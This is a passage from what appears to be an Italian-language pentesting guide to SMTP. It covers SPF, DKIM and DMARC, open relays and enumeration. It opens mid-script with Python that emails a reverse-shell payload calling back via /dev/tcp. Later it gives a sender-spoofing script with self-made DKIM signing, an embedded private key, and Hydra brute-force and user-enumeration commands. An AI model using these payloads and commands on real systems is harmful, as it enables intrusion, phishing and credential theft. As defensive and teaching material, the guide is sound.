lhost = “127.0.0.1” lport = 443 rhost = “192.168.1.1” rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = “” msg[‘From’] = “attacker@local” msg[‘To’] = “victim@local” msg[‘Subject’] = “This is not a drill!”

payload

message = (“& /dev/tcp/%s/%d 0>&1'); ?>” % (lhost,lport))

print(“[*] Payload is generated : %s” % message)

msg.attach(MIMEText(message, ‘plain’)) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print(“[-]Connection Error”) exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg[‘From’], password)

server.sendmail(msg[‘From’], msg[‘To’], msg.as_string()) server.quit()

print(“[***]successfully sent email to %s:” % (msg[‘To’]))

</details>

## SMTP Smuggling

La vulnerabilità SMTP Smuggling ha permesso di bypassare tutte le protezioni SMTP (vedi la sezione successiva per maggiori informazioni sulle protezioni). Per maggiori dettagli su SMTP Smuggling consulta:


<a class="content_ref" href="smtp-smuggling.md"><span class="content_ref_label">SMTP Smuggling</span></a>

## Mail Spoofing Countermeasures

Le organizzazioni impediscono che vengano inviate email non autorizzate a loro nome impiegando **SPF**, **DKIM**, e **DMARC** a causa della facilità di spoofing dei messaggi SMTP.

Una **guida completa a queste contromisure** è disponibile su [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

> [!CAUTION]
> SPF [was "deprecated" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Questo significa che invece di creare un **TXT record** in `_spf.domain.com` lo crei in `domain.com` usando la **stessa sintassi**.\
> Inoltre, per riutilizzare i precedenti spf records è abbastanza comune trovare qualcosa come `"v=spf1 include:_spf.google.com ~all"`

**Sender Policy Framework** (SPF) è un meccanismo che permette ai Mail Transfer Agents (MTAs) di verificare se un host che invia una email è autorizzato interrogando una lista di mail server autorizzati definita dall'organizzazione. Questa lista, che specifica indirizzi/range IP, domini e altre entità **autorizzate a inviare email per conto di un nome di dominio**, include vari "**Meccanismi**" nel record SPF.

#### Meccanismi

From [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):

| Meccanismo | Descrizione                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Corrisponde sempre; usato per un risultato di default come `-all` per tutti gli IP non corrispondenti ai meccanismi precedenti.                                                                                                                                                                                                                                  |
| A         | Se il nome di dominio ha un record di indirizzo (A o AAAA) risolvibile all'indirizzo del mittente, corrisponde.                                                                                                                                                                                                                   |
| IP4       | Se il mittente è in un dato intervallo di indirizzi IPv4, corrisponde.                                                                                                                                                                                                                                                                              |
| IP6       | Se il mittente è in un dato intervallo di indirizzi IPv6, corrisponde.                                                                                                                                                                                                                                                                              |
| MX        | Se il nome di dominio ha un record MX che risolve all'indirizzo del mittente, corrisponde (cioè la mail proviene da uno dei server di posta in arrivo del dominio).                                                                                                                                                                          |
| PTR       | Se il nome di dominio (record PTR) per l'indirizzo del client appartiene al dominio indicato e quel nome di dominio risolve all'indirizzo del client (forward-confirmed reverse DNS), corrisponde. Questo meccanismo è sconsigliato e dovrebbe essere evitato, se possibile.                                                                                     |
| EXISTS    | Se il nome di dominio fornito risolve in qualsiasi indirizzo, corrisponde (indipendentemente dall'indirizzo). È usato raramente. Insieme al linguaggio macro di SPF offre match più complessi come query DNSBL.                                                                                                                           |
| INCLUDE   | Fa riferimento alla policy di un altro dominio. Se la policy di quel dominio passa, questo meccanismo passa. Tuttavia, se la policy inclusa fallisce, l'elaborazione continua. Per delegare completamente alla policy di un altro dominio bisogna usare l'estensione redirect.                                                                                     |
| REDIRECT  | <p>Un redirect è un puntatore a un altro nome di dominio che ospita una policy SPF, permette a più domini di condividere la stessa policy SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.</p><p>La policy SPF del dominio indicato nel meccanismo redirect verrà utilizzata.</p> |

È anche possibile identificare **i Qualificatori** che indicano **cosa fare se un meccanismo corrisponde**. Per impostazione predefinita viene usato il qualificatore "+" (quindi se un meccanismo corrisponde, è consentito).\
Di solito troverai, alla fine di ogni policy SPF, qualcosa come: **\~all** o **-all**. Questo indica che **se il mittente non corrisponde a nessuna policy SPF, dovresti etichettare l'email come non affidabile (\~) o rifiutarla (-).**

#### Qualificatori

Each mechanism within the policy may be prefixed by one of four qualifiers to define the intended result:

- **`+`**: Corrisponde a un risultato PASS. Per impostazione predefinita i meccanismi presuppongono questo qualificatore, rendendo `+mx` equivalente a `mx`.
- **`?`**: Rappresenta un risultato NEUTRAL, trattato in modo simile a NONE (nessuna policy specifica).
- **`~`**: Indica SOFTFAIL, fungendo da via di mezzo tra NEUTRAL e FAIL. Le email con questo risultato sono generalmente accettate ma contrassegnate di conseguenza.
- **`-`**: Indica FAIL, suggerendo che l'email dovrebbe essere rifiutata.

Nell'esempio seguente viene illustrata la **SPF policy di google.com**. Nota l'inclusione di policy SPF di domini diversi all'interno della prima SPF policy:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradizionalmente era possibile spoofare qualsiasi nome di dominio che non avesse un record SPF corretto/assente. Al giorno d’oggi, se una email proviene da un dominio senza un record SPF valido probabilmente verrà rifiutata/contrassegnata automaticamente come non attendibile.

Per verificare lo SPF di un dominio puoi usare strumenti online come: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM viene utilizzato per firmare le email in uscita, consentendone la validazione da parte di Mail Transfer Agents (MTAs) esterni tramite il recupero della chiave pubblica del dominio dal DNS. Questa chiave pubblica si trova nel TXT record del dominio. Per accedere a questa chiave è necessario conoscere sia il selector sia il nome del dominio.

Ad esempio, per richiedere la chiave sono necessari il nome del dominio e il selector. Questi possono essere trovati nell’header della mail DKIM-Signature, e.g., d=gmail.com;s=20120113.

Un comando per recuperare queste informazioni potrebbe essere:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Autenticazione dei messaggi basata sul dominio, Reporting & Conformità)

DMARC migliora la sicurezza delle email sfruttando i protocolli SPF e DKIM. Definisce politiche che indicano ai mail server come gestire le email provenienti da un dominio specifico, compreso come gestire i fallimenti di autenticazione e dove inviare i report sulle azioni di elaborazione delle email.

Per ottenere il record DMARC, devi interrogare il sottodominio _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Tag DMARC

E i sottodomini?

Da here.
Devi avere record SPF separati per ogni sottodominio da cui desideri inviare mail.
Quanto segue è stato originariamente pubblicato su openspf.org, che era una risorsa eccellente per questo tipo di informazioni.

The Demon Question: What about subdomains?

If I get mail from pielovers.demon.co.uk, and there’s no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn’t make sense for Demon’s policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain.

So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record.

Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: * IN TXT “v=spf1 -all”

Questo ha senso - un sottodominio potrebbe trovarsi in una zona geografica diversa ed avere una definizione SPF molto diversa.

Open Relay

Quando vengono inviate email, è fondamentale che non vengano contrassegnate come spam. Questo si ottiene spesso tramite l’uso di un server relay considerato affidabile dal destinatario. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere pienamente consapevoli di quali range di IP che è sicuro consentire. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio frequentemente identificato nelle security assessments.

Una soluzione alternativa che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente nelle comunicazioni con clienti potenziali o in corso, è consentire connessioni da qualsiasi indirizzo IP. Questo viene fatto configurando il parametro mynetworks del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito:

mynetworks = 0.0.0.0/0

Per verificare se un server di posta è un open relay (cioè che potrebbe inoltrare email da qualsiasi fonte esterna), si usa comunemente lo strumento nmap. Include uno script specifico progettato per testarlo. Il comando per effettuare una scansione verbosa su un server (ad esempio con IP 10.10.10.10) sulla porta 25 usando nmap è:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Strumenti

• https://github.com/serain/mailspoof Verifica la presenza di misconfigurazioni di SPF e DMARC
• https://pypi.org/project/checkdmarc/ Ottieni automaticamente le configurazioni di SPF e DMARC

Invia Spoof Email

• https://www.mailsploit.com/index
• http://www.anonymailer.net/
• https://emkei.cz/

Oppure puoi usare uno strumento:

• https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

Warning

Se ottieni un errore usando la dkim python lib durante il parsing della chiave, puoi usare la seguente.
NOTA: Questa è solo una soluzione rapida e sporca per effettuare controlli veloci nei casi in cui, per qualche motivo, la chiave privata openssl non possa essere analizzata da dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

Oppure puoi farlo manualmente:

# This will send an unsigned message
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

Maggiori informazioni

Per maggiori informazioni su queste protezioni vedi https://seanthegeek.net/459/demystifying-dmarc/

Altri indicatori di phishing

• Età del dominio
• Links pointing to IP addresses
• Link manipulation techniques
• Allegati sospetti (non comuni)
• Contenuto dell’email danneggiato
• Valori usati che differiscono da quelli nelle intestazioni della mail
• Presenza di un certificato SSL valido e affidabile
• Invio della pagina a siti di filtraggio dei contenuti web

Exfiltration through SMTP

Se puoi inviare dati via SMTP read this.

Config file

Postfix

Di solito, se installato, /etc/postfix/master.cf contiene script da eseguire quando, per esempio, una nuova mail viene ricevuta da un utente. Per esempio la riga flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa che /etc/postfix/filtering verrà eseguito se una nuova mail viene ricevuta dall’utente mark.

Other config files:

sendmail.cf
submit.cf

Riferimenti

• https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
• https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/
• 0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM
• https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/

Comandi automatici HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Tip

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